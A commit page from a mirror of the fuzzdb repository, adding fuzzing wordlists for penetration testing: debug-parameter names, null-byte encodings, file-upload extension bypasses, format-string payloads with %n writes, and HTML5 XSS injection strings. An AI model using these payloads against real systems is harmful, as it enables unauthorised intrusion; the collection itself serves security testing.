mirror of
https://github.com/fuzzdb-project/fuzzdb.git
synced 2024-11-10 05:24:12 +00:00
Fix #144
This commit is contained in:
Ricardo Madriz
parent
f7aa901576
commit
2863f7a588
150 changed files with 133977 additions and 0 deletions
40
attack/business-logic/CommonDebugParamNames.txt
Normal file
40
attack/business-logic/CommonDebugParamNames.txt
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
7357=1
|
||||
7357=true
|
||||
7357=y
|
||||
7357=yes
|
||||
access=1
|
||||
access=true
|
||||
access=y
|
||||
access=yes
|
||||
adm=1
|
||||
adm1n=1
|
||||
adm1n=true
|
||||
adm1n=y
|
||||
adm1n=yes
|
||||
admin=1
|
||||
admin=true
|
||||
admin=y
|
||||
admin=yes
|
||||
adm=true
|
||||
adm=y
|
||||
adm=yes
|
||||
dbg=1
|
||||
dbg=true
|
||||
dbg=y
|
||||
dbg=yes
|
||||
debug=1
|
||||
debug=true
|
||||
debug=y
|
||||
debug=yes
|
||||
edit=1
|
||||
edit=true
|
||||
edit=y
|
||||
edit=yes
|
||||
grant=1
|
||||
grant=true
|
||||
grant=y
|
||||
grant=yes
|
||||
test=1
|
||||
test=true
|
||||
test=y
|
||||
test=yes
|
||||
40
attack/business-logic/CommonMethodNames.txt
Normal file
40
attack/business-logic/CommonMethodNames.txt
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
get
|
||||
put
|
||||
send
|
||||
delete
|
||||
remove
|
||||
create
|
||||
add
|
||||
move
|
||||
show
|
||||
list
|
||||
query
|
||||
search
|
||||
view
|
||||
open
|
||||
show
|
||||
download
|
||||
edit
|
||||
change
|
||||
alter
|
||||
modify
|
||||
test
|
||||
update
|
||||
save
|
||||
load
|
||||
close
|
||||
make
|
||||
upload
|
||||
rename
|
||||
reset
|
||||
cancel
|
||||
admin
|
||||
demo
|
||||
verify
|
||||
vrfy
|
||||
on
|
||||
off
|
||||
0
|
||||
1
|
||||
enable
|
||||
disable
|
||||
30
attack/control-chars/NullByteRepresentations.txt
Normal file
30
attack/control-chars/NullByteRepresentations.txt
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
%00
|
||||
\x00
|
||||
\x00\
|
||||
\u0000
|
||||
\u0000
|
||||
\0
|
||||
\0\
|
||||
\00
|
||||
\00\
|
||||
\000
|
||||
\000\
|
||||
\z
|
||||
\z\
|
||||
NUL
|
||||
NULL
|
||||
0x00
|
||||
%00%00
|
||||
\x00\x00
|
||||
\x00\x00\
|
||||
\u0000\u0000
|
||||
\u0000\u0000\
|
||||
\0\0
|
||||
\0\0\
|
||||
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
|
||||
%C0%80
|
||||
%E0%80%80
|
||||
%F0%80%80%80
|
||||
%F8%80%80%80%80
|
||||
%FC%80%80%80%80%80
|
||||
%FE%80%80%80%80%80%80
|
||||
10
attack/disclosure-directory/directory-indexing-generic.txt
Normal file
10
attack/disclosure-directory/directory-indexing-generic.txt
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
/%3f.jsp
|
||||
/?M=D
|
||||
/?S=D
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
/cgi-bin/test-cgi?/*
|
||||
/cgi-bin/test-cgi?*
|
||||
/%00/
|
||||
/%2e/
|
||||
/%2f/
|
||||
/%5c/
|
||||
30
attack/file-upload/alt-extensions-asp.txt
Normal file
30
attack/file-upload/alt-extensions-asp.txt
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
asp
|
||||
aspx
|
||||
asa
|
||||
aSP
|
||||
aSpx
|
||||
aSa
|
||||
asp%20%20%20
|
||||
aspx%20%20%20
|
||||
asa%20%20%20
|
||||
aSP%20%20%20
|
||||
aSpx%20%20%20
|
||||
aSa%20%20%20
|
||||
asp......
|
||||
aspx......
|
||||
asa......
|
||||
aSP......
|
||||
aSpx......
|
||||
aSa......
|
||||
asp%20%20%20...%20.%20..
|
||||
aspx%20%20%20...%20.%20..
|
||||
asa%20%20%20...%20.%20..
|
||||
aSP%20%20%20...%20.%20..
|
||||
aSpx%20%20%20...%20.%20..
|
||||
aSa%20%20%20...%20.%20..
|
||||
asp%00
|
||||
aspx%00
|
||||
asa%00
|
||||
aSp%00
|
||||
aSpx%00
|
||||
aSa%00
|
||||
40
attack/file-upload/alt-extensions-coldfusion.txt
Normal file
40
attack/file-upload/alt-extensions-coldfusion.txt
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
cfm
|
||||
cfml
|
||||
cfc
|
||||
dbm
|
||||
cFm
|
||||
cFml
|
||||
cFc
|
||||
dBm
|
||||
cfm%20%20%20
|
||||
cfml%20%20%20
|
||||
cfc%20%20%20
|
||||
dbm%20%20%20
|
||||
cFm%20%20%20
|
||||
cFml%20%20%20
|
||||
cFc%20%20%20
|
||||
dBm%20%20%20
|
||||
cfm......
|
||||
cfml......
|
||||
cfc.......
|
||||
dbm......
|
||||
cFm......
|
||||
cFml......
|
||||
cFc......
|
||||
dBm......
|
||||
cfm%20%20%20...%20.%20..
|
||||
cfml%20%20%20...%20.%20..
|
||||
cfc%20%20%20...%20.%20..
|
||||
dbm%20%20%20...%20.%20..
|
||||
cFm%20%20%20...%20.%20..
|
||||
cFml%20%20%20...%20.%20..
|
||||
cFc%20%20%20...%20.%20..
|
||||
dBm%20%20%20...%20.%20..
|
||||
cfm%00
|
||||
cfml%00
|
||||
cfc%00
|
||||
dbm%00
|
||||
cFm%00
|
||||
cFml%00
|
||||
cFc%00
|
||||
dBm%00
|
||||
50
attack/file-upload/alt-extensions-jsp.txt
Normal file
50
attack/file-upload/alt-extensions-jsp.txt
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
jsp
|
||||
jspx
|
||||
jsw
|
||||
jsv
|
||||
jspf
|
||||
jSp
|
||||
jSpx
|
||||
jSw
|
||||
jSv
|
||||
jSpf
|
||||
jSp%00
|
||||
jSp%20%20%20
|
||||
jSp%20%20%20...%20.%20..a
|
||||
jSp......
|
||||
jSpf%00
|
||||
jSpf%20%20%20
|
||||
jSpf%20%20%20...%20.%20..a
|
||||
jSpf......
|
||||
jSpx%00
|
||||
jSpx%20%20%20
|
||||
jSpx%20%20%20...%20.%20..a
|
||||
jSpx......
|
||||
jSv%00
|
||||
jSv%20%20%20
|
||||
jSv%20%20%20...%20.%20..a
|
||||
jSv......
|
||||
jSw%00
|
||||
jSw%20%20%20
|
||||
jSw%20%20%20...%20.%20..a
|
||||
jSw......
|
||||
jsp%00
|
||||
jsp%20%20%20
|
||||
jsp%20%20%20...%20.%20..a
|
||||
jsp......
|
||||
jspf%00
|
||||
jspf%20%20%20
|
||||
jspf%20%20%20...%20.%20..a
|
||||
jspf......
|
||||
jspx%00
|
||||
jspx%20%20%20
|
||||
jspx%20%20%20...%20.%20..a
|
||||
jspx......
|
||||
jsv%00
|
||||
jsv%20%20%20
|
||||
jsv%20%20%20...%20.%20..a
|
||||
jsv......
|
||||
jsw%00
|
||||
jsw%20%20%20
|
||||
jsw%20%20%20...%20.%20..a
|
||||
jsw......
|
||||
33
attack/file-upload/alt-extensions-perl.txt
Normal file
33
attack/file-upload/alt-extensions-perl.txt
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
# .pm .lib cannot be called directly, must be called as modules
|
||||
pl
|
||||
pm
|
||||
cgi
|
||||
pL
|
||||
pM
|
||||
cGi
|
||||
lib
|
||||
lIb
|
||||
cGi%00
|
||||
cGi%20%20%20
|
||||
cGi......
|
||||
cgi%00
|
||||
cgi%20%20%20
|
||||
cgi......
|
||||
lIb%00
|
||||
lIb%20%20%20
|
||||
lIb......
|
||||
lib%00
|
||||
lib%20%20%20
|
||||
lib......
|
||||
pL%00
|
||||
pL%20%20%20
|
||||
pL......
|
||||
pM%00
|
||||
pM%20%20%20
|
||||
pM......
|
||||
pl%00
|
||||
pl%20%20%20
|
||||
pl......
|
||||
pm%00
|
||||
pm%20%20%20
|
||||
pm......
|
||||
60
attack/file-upload/alt-extensions-php.txt
Normal file
60
attack/file-upload/alt-extensions-php.txt
Normal file
|
|
@ -0,0 +1,60 @@
|
|||
phtml
|
||||
php
|
||||
php3
|
||||
php4
|
||||
php5
|
||||
inc
|
||||
pHtml
|
||||
pHp
|
||||
pHp3
|
||||
pHp4
|
||||
pHp5
|
||||
iNc
|
||||
iNc%00
|
||||
iNc%20%20%20
|
||||
iNc%20%20%20...%20.%20..
|
||||
iNc......
|
||||
inc%00
|
||||
inc%20%20%20
|
||||
inc%20%20%20...%20.%20..
|
||||
inc......
|
||||
pHp%00
|
||||
pHp%20%20%20
|
||||
pHp%20%20%20...%20.%20..
|
||||
pHp......
|
||||
pHp3%00
|
||||
pHp3%20%20%20
|
||||
pHp3%20%20%20...%20.%20..
|
||||
pHp3......
|
||||
pHp4%00
|
||||
pHp4%20%20%20
|
||||
pHp4%20%20%20...%20.%20..
|
||||
pHp4......
|
||||
pHp5%00
|
||||
pHp5%20%20%20
|
||||
pHp5%20%20%20...%20.%20..
|
||||
pHp5......
|
||||
pHtml%00
|
||||
pHtml%20%20%20
|
||||
pHtml%20%20%20...%20.%20..
|
||||
pHtml......
|
||||
php%00
|
||||
php%20%20%20
|
||||
php%20%20%20...%20.%20..
|
||||
php......
|
||||
php3%00
|
||||
php3%20%20%20
|
||||
php3%20%20%20...%20.%20..
|
||||
php3......
|
||||
php4%00
|
||||
php4%20%20%20
|
||||
php4%20%20%20...%20.%20..
|
||||
php4......
|
||||
php5%00
|
||||
php5%20%20%20
|
||||
php5%20%20%20...%20.%20..
|
||||
php5......
|
||||
phtml%00
|
||||
phtml%20%20%20
|
||||
phtml%20%20%20...%20.%20..
|
||||
phtml......
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
templates_compiled
|
||||
templates_c
|
||||
templates
|
||||
temporary
|
||||
images
|
||||
cache
|
||||
temp
|
||||
files
|
||||
tmp
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
{ASPSCRIPT}
|
||||
{ASPSCRIPT}.{EXT}
|
||||
{ASPSCRIPT};
|
||||
{ASPSCRIPT};.{EXT}
|
||||
{ASPSCRIPT}%00
|
||||
{ASPSCRIPT}%00.{EXT}
|
||||
{ASPSCRIPT}::data%00.
|
||||
{ASPSCRIPT}::data%00.{EXT}
|
||||
58
attack/file-upload/file-ul-filter-bypass-microsoft-asp.txt
Normal file
58
attack/file-upload/file-ul-filter-bypass-microsoft-asp.txt
Normal file
|
|
@ -0,0 +1,58 @@
|
|||
{ASPSCRIPT}
|
||||
{ASPSCRIPT};
|
||||
{ASPSCRIPT};.jpg
|
||||
{ASPSCRIPT};.pdf
|
||||
{ASPSCRIPT};.html
|
||||
{ASPSCRIPT};.htm
|
||||
{ASPSCRIPT};.txt
|
||||
{ASPSCRIPT};.xyz
|
||||
{ASPSCRIPT};.zip
|
||||
{ASPSCRIPT};.tgz
|
||||
{ASPSCRIPT};.doc
|
||||
{ASPSCRIPT};.docx
|
||||
{ASPSCRIPT};.xls
|
||||
{ASPSCRIPT};.xlsx
|
||||
{ASPSCRIPT}%00.jpg
|
||||
{ASPSCRIPT}%00.pdf
|
||||
{ASPSCRIPT}%00.html
|
||||
{ASPSCRIPT}%00.txt
|
||||
{ASPSCRIPT}%00.xyz
|
||||
{ASPSCRIPT}%00.tgz
|
||||
{ASPSCRIPT}%00.zip
|
||||
{ASPSCRIPT}%00.doc
|
||||
{ASPSCRIPT}%00.docx
|
||||
{ASPSCRIPT}%00
|
||||
{ASPSCRIPT}::data%00.jpg
|
||||
{ASPSCRIPT}::data%00.pdf
|
||||
{ASPSCRIPT}::data%00.html
|
||||
{ASPSCRIPT}::data%00.txt
|
||||
{ASPSCRIPT}::data%00.zip
|
||||
{ASPSCRIPT}::data%00.doc
|
||||
{ASPSCRIPT}::data%00.xls
|
||||
{ASPSCRIPT}%00%20%20%20
|
||||
{ASPSCRIPT}%00%20%20%20...%20.%20..
|
||||
{ASPSCRIPT}%00......
|
||||
{ASPSCRIPT}%20%20%20
|
||||
{ASPSCRIPT}%20%20%20...%20.%20..
|
||||
{ASPSCRIPT}......
|
||||
{ASPSCRIPT}::data%00%%20%20%20
|
||||
{ASPSCRIPT}::data%00%%20%20%20...%20.%20..
|
||||
{ASPSCRIPT}::data%00%......
|
||||
{ASPSCRIPT}%00%20%20%20;.jpg
|
||||
{ASPSCRIPT}%00%20%20%20;.doc
|
||||
{ASPSCRIPT}%00%20%20%20...%20.%20..;.jpg
|
||||
{ASPSCRIPT}%00%20%20%20...%20.%20..;.doc
|
||||
{ASPSCRIPT}%00......;.jpg
|
||||
{ASPSCRIPT}%00......;.doc
|
||||
{ASPSCRIPT}%20%20%20;.jpg
|
||||
{ASPSCRIPT}%20%20%20;.doc
|
||||
{ASPSCRIPT}%20%20%20...%20.%20..;.jpg
|
||||
{ASPSCRIPT}%20%20%20...%20.%20..;.doc
|
||||
{ASPSCRIPT}......;.jpg
|
||||
{ASPSCRIPT}......;.doc
|
||||
{ASPSCRIPT}::data%00%%20%20%20;.jpg
|
||||
{ASPSCRIPT}::data%00%%20%20%20;.doc
|
||||
{ASPSCRIPT}::data%00%%20%20%20...%20.%20..;.jpg
|
||||
{ASPSCRIPT}::data%00%%20%20%20...%20.%20..;.doc
|
||||
{ASPSCRIPT}::data%00%......;.jpg
|
||||
{ASPSCRIPT}::data%00%......;.doc
|
||||
7
attack/file-upload/file-ul-filter-bypass-ms-php.txt
Normal file
7
attack/file-upload/file-ul-filter-bypass-ms-php.txt
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
{PHPSCRIPT}
|
||||
{PHPSCRIPT}.phtml
|
||||
{PHPSCRIPT}.php.html
|
||||
{PHPSCRIPT}.php::$DATA
|
||||
{PHPSCRIPT}.php.php.rar
|
||||
{PHPSCRIPT}.php.rar
|
||||
{PHPSCRIPT}::$DATA
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
%00index.html
|
||||
;index.html
|
||||
%00
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
{PHPSCRIPT}
|
||||
{PHPSCRIPT}.phtml
|
||||
{PHPSCRIPT}.php.html
|
||||
{PHPSCRIPT}.php.php.rar
|
||||
{PHPSCRIPT}.php.rar
|
||||
7
attack/file-upload/invalid-filenames-linux.txt
Normal file
7
attack/file-upload/invalid-filenames-linux.txt
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
/
|
||||
|
||||
\0
|
||||
/dev/null
|
||||
/dev/null/foo
|
||||
.
|
||||
..
|
||||
31
attack/file-upload/invalid-filenames-microsoft.txt
Normal file
31
attack/file-upload/invalid-filenames-microsoft.txt
Normal file
|
|
@ -0,0 +1,31 @@
|
|||
CON.{EXT}
|
||||
PRN.{EXT}
|
||||
AUX.{EXT}
|
||||
CLOCK$.{EXT}
|
||||
NUL.{EXT}
|
||||
COM1.{EXT}
|
||||
COM2.{EXT}
|
||||
COM3.{EXT}
|
||||
COM4.{EXT}
|
||||
COM5.{EXT}
|
||||
COM6.{EXT}
|
||||
COM7.{EXT}
|
||||
COM8.{EXT}
|
||||
COM9.{EXT}
|
||||
LPT1.{EXT}
|
||||
LPT2.{EXT}
|
||||
LPT3.{EXT}
|
||||
LPT4.{EXT}
|
||||
LPT5.{EXT}
|
||||
LPT6.{EXT}
|
||||
LPT7.{EXT}
|
||||
LPT8.{EXT}
|
||||
LPT9.{EXT}
|
||||
*.{EXT}
|
||||
".{EXT}
|
||||
[.{EXT}
|
||||
].{EXT}
|
||||
:.{EXT}
|
||||
|.{EXT}
|
||||
=.{EXT}
|
||||
,.{EXT}
|
||||
12
attack/file-upload/invalid-filesystem-chars-microsoft.txt
Normal file
12
attack/file-upload/invalid-filesystem-chars-microsoft.txt
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
*
|
||||
.
|
||||
"
|
||||
/
|
||||
\
|
||||
[
|
||||
]
|
||||
:
|
||||
;
|
||||
|
|
||||
=
|
||||
,
|
||||
3
attack/file-upload/invalid-filesystem-chars-osx.txt
Normal file
3
attack/file-upload/invalid-filesystem-chars-osx.txt
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
# list of invalid characters for osx - these can be used to attempt to cause an error condition during file upload bypass attempts which might reveal an absolute path. Useful if you're not sure where your files are landing.
|
||||
# fuzz these into a filename during upload attempts
|
||||
:
|
||||
57
attack/format-strings/format-strings.txt
Normal file
57
attack/format-strings/format-strings.txt
Normal file
|
|
@ -0,0 +1,57 @@
|
|||
%s%p%x%d
|
||||
%p%p%p%p
|
||||
%x%x%x%x
|
||||
%d%d%d%d
|
||||
%s%s%s%s
|
||||
%99999999999s
|
||||
%08x
|
||||
%20d
|
||||
%20n
|
||||
%20x
|
||||
%20s
|
||||
%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d
|
||||
%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i
|
||||
%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o
|
||||
%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u
|
||||
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
|
||||
%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X
|
||||
%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a
|
||||
%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A
|
||||
%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e
|
||||
%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E
|
||||
%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f
|
||||
%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F
|
||||
%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g
|
||||
%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G
|
||||
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
|
||||
%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
|
||||
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%
|
||||
XXXXX.%p
|
||||
XXXXX`perl -e 'print ".%p" x 80'`
|
||||
`perl -e 'print ".%p" x 80'`%n
|
||||
%08x.%08x.%08x.%08x.%08x\n
|
||||
XXX0_%08x.%08x.%08x.%08x.%08x\n
|
||||
%.16705u%2\$hn
|
||||
\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|
|
||||
AAAAA%c
|
||||
AAAAA%d
|
||||
AAAAA%e
|
||||
AAAAA%f
|
||||
AAAAA%I
|
||||
AAAAA%o
|
||||
AAAAA%p
|
||||
AAAAA%s
|
||||
AAAAA%x
|
||||
AAAAA%n
|
||||
ppppp%c
|
||||
ppppp%d
|
||||
ppppp%e
|
||||
ppppp%f
|
||||
ppppp%I
|
||||
ppppp%o
|
||||
ppppp%p
|
||||
ppppp%s
|
||||
ppppp%x
|
||||
ppppp%n
|
||||
%@
|
||||
%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@
|
||||
142
attack/html_js_fuzz/HTML5sec_Injections.txt
Normal file
142
attack/html_js_fuzz/HTML5sec_Injections.txt
Normal file
|
|
@ -0,0 +1,142 @@
|
|||
<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>
|
||||
<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
|
||||
<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
|
||||
0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))
|
||||
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
|
||||
<script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>
|
||||
<input onfocus=write(1) autofocus>
|
||||
<input onblur=write(1) autofocus><input autofocus>
|
||||
<a style="-o-link:'javascript:alert(1)';-o-link-source:current">X</a>
|
||||
<video poster=javascript:alert(1)//></video>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
|
||||
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
|
||||
<x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>
|
||||
<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>
|
||||
<script>({0:#0=alert/#0#/#0#(0)})</script>
|
||||
X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` >
|
||||
<?xml-stylesheet href="javascript:alert(1)"?><root/>
|
||||
<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
|
||||
<meta charset="x-mac-farsi">¼script ¾alert(1)//¼/script ¾
|
||||
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>
|
||||
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
|
||||
<input onblur=focus() autofocus><input>
|
||||
<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>
|
||||
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(1)>`>
|
||||
<script src="#">{alert(1)}</script>;1
|
||||
+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);
|
||||
<style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>
|
||||
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(1)>>
|
||||
<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d
|
||||
<style>@import "data:,*%7bx:expression(write(1))%7D";</style>
|
||||
<frameset onload=alert(1)>
|
||||
<table background="javascript:alert(1)"></table>
|
||||
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a>
|
||||
1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>
|
||||
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
|
||||
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XXX</a>
|
||||
<!--<img src="--><img src=x onerror=alert(1)//">
|
||||
<comment><img src="</comment><img src=x onerror=alert(1)//">
|
||||
<!-- up to Opera 11.52, FF 3.6.28 --><![><img src="]><img src=x onerror=alert(1)//"><!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --><svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>
|
||||
<style><img src="</style><img src=x onerror=alert(1)//">
|
||||
<li style=list-style:url() onerror=alert(1)></li><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>
|
||||
<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>
|
||||
<?xml version="1.0" standalone="no"?><html xmlns="http://www.w3.org/1999/xhtml"><head><style type="text/css">@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}</style></head><body>Hello</body></html>
|
||||
<style>*[{}@import'test.css?]{color: green;}</style>X
|
||||
<div style="font-family:'foo[a];color:red;';">XXX</div>
|
||||
<div style="font-family:foo}color=red;">XXX</div>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>
|
||||
<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>
|
||||
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>
|
||||
<x style="behavior:url(test.sct)">
|
||||
<xml id="xss" src="test.htc"></xml><label dataformatas="html" datasrc="#xss" datafld="payload"></label>
|
||||
<script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>
|
||||
<video><source onerror="alert(1)">
|
||||
<video onerror="alert(1)"><source></source></video>
|
||||
<b <script>alert(1)//</script>0</script></b>
|
||||
<b><script<b></b><alert(1)</script </b></b>
|
||||
<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
|
||||
<div style="[a]color[b]:[c]red">XXX</div>
|
||||
<div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>
|
||||
